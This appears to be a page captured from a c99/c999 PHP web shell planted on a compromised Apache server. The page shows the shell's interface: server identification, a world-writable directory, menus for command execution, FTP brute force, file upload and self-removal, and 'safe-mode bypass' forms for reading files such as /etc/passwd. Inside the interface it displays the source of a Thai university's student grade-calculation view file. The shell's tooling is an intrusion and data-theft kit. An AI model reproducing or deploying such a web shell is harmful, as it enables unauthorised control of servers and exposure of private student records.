!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_calGrade.php (5.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowStd 
= (isset($qu_std) && $qu_std!=NULL) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."grade/processCalGrade", array("name" => "myform""id" => "myform"));?>
            <table width="100%" border="0" cellspacing="1" cellpadding="1">
                <tr>
                    <td colspan="4" align="center"><span class="h error">ประมวลผลเกรด</span></td>
                    <td></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
<?php
        
if(isset($err_msg)) {
?>
                <tr>
                    <td height="22" colspan="4"></td>
                </tr>
                <tr>
                    <td colspan="4" align="center"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $err_msg;?>
                    <?php echo anchor($this->config->item("rg_folder").'grade/searchCalGrade','คลิกที่นี่ย้อนกลับ');?>**</font></td>
                </tr>
<?php
        
} else {
?>
                <tr>
                    <td>
                    <table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">รหัสนักศึกษา</td>
                            <td width="35%">: <?php echo $rowStd->stdCode;?>
                            <input type="hidden" name="stdCode" id="stdCode" value="<?php echo $rowStd->stdCode;?>" />
                            <input type="hidden" name="stdId" id="stdId" value="<?php echo $rowStd->stdId;?>" /></td>
                            <td class="coltd_szone">ชื่อ-นามสกุล</td>
                            <td width="35%">: <?php echo $rowStd->prefixName.$rowStd->stdName.' '.$rowStd->stdSurname;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">หลักสูตร</td>
                            <td colspan="3">: <?php echo $rowStd->curName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ชั้นปี</td>
                            <td>: <?php echo $rowStd->syCode;?></td>
                            <td class="coltd_szone">ระดับการศึกษา</td>
                            <td>: <?php echo $rowStd->levelName;?></td>
                        </tr>
                    </table>
                    </td>
                </tr>
                
                <tr>
                    <td><br /></tr>
                </tr>
                <tr>
                    <td height="22" colspan="4" align="center"><table width="100%" class="headCol">
                        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                            <th rowspan="2" align="center">ที่</th>
                            <th width="15%" rowspan="2" align="center">ภาค/ปีการศึกษา</th>
                            <th colspan="3" align="center">SEM-CR.</th>
                            <th width="7%" rowspan="2" align="center">GPA</th>
                            <th colspan="3" align="center">CUM-CR.</th>
                            <th width="7%" rowspan="2" align="center">GPAX</th>
                            <th width="16%" rowspan="2" align="center">ประมวลผลรายภาค</th>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                            <th width="7%" height="22" align="center">ลง</th>
                            <th width="7%" align="center">ผ่าน</th>
                            <th width="11%" align="center">คิดเกรด</th>
                            <th width="7%" align="center">ลง</th>
                            <th width="7%" align="center">ผ่าน</th>
                            <th width="11%" align="center">คิดเกรด</th>
                        </tr>
<?php
            $i 
0;
            if(isset(
$rs_rd) && $rs_rd->num_rows()) {
                foreach (
$rs_rd->result() as $row) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center" height="22"><font size="2"><?php echo $i+1;?></font></td>
                            <td align="center"><font size="2">
<?php
                            $atts 
= array('width'      => '560',
                                          
'height'     => '520',
                                          
'scrollbars' => 'yes',
                                          
'status'     => 'yes',
                                          
'resizable'  => 'yes',
                                          
'screenx'    => '0',
                                          
'screeny'    => '0');
                            echo  
anchor_popup($this->config->item("rg_folder")."popup/showRegistDetails/$row->rdStdId/$row->rdAcY/$row->rdTmId"$row->rdTmId.'/'.$row->rdAcY$atts);
?>
                            </td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmCreditAttempt);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmCreditSatisfy);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmCreditPoint);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmGPA,2);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmSumCreditAttempt);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmSumCreditSatisfy);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmSumCreditPoint);?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->ssmGPAX,2);?></font></td>
                            <td align="center">
                            <input type="button" name="process" id="process" value="ประมวลผล" onClick="sendPost('myform', {'acY':<?php echo $row->rdAcY;?>,'tmId':<?php echo $row->rdTmId;?>})" /></td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>
                            <td colspan="11" align="center"><span class="error">** ไม่ปรากฏรายการลงทะเบียนในฐานข้อมูล **</span></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
<?php
        
}
?>
            </table><?php echo form_close();?></div>
        <br><span class="error"><b>หมายเหตุ : </b>นำเมาส์ไปคลิกที่ภาค/ปีการศึกษา เพื่อดูรายวิชาที่ลงทะเบียนเรียน</span></td>
    </tr>
</table>
<p align="center"><font size="2" color="<?php echo $font_color_err;?>"><b><?php echo isset($success_msg) ? $success_msg "";?></b></font></p>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.1769 ]--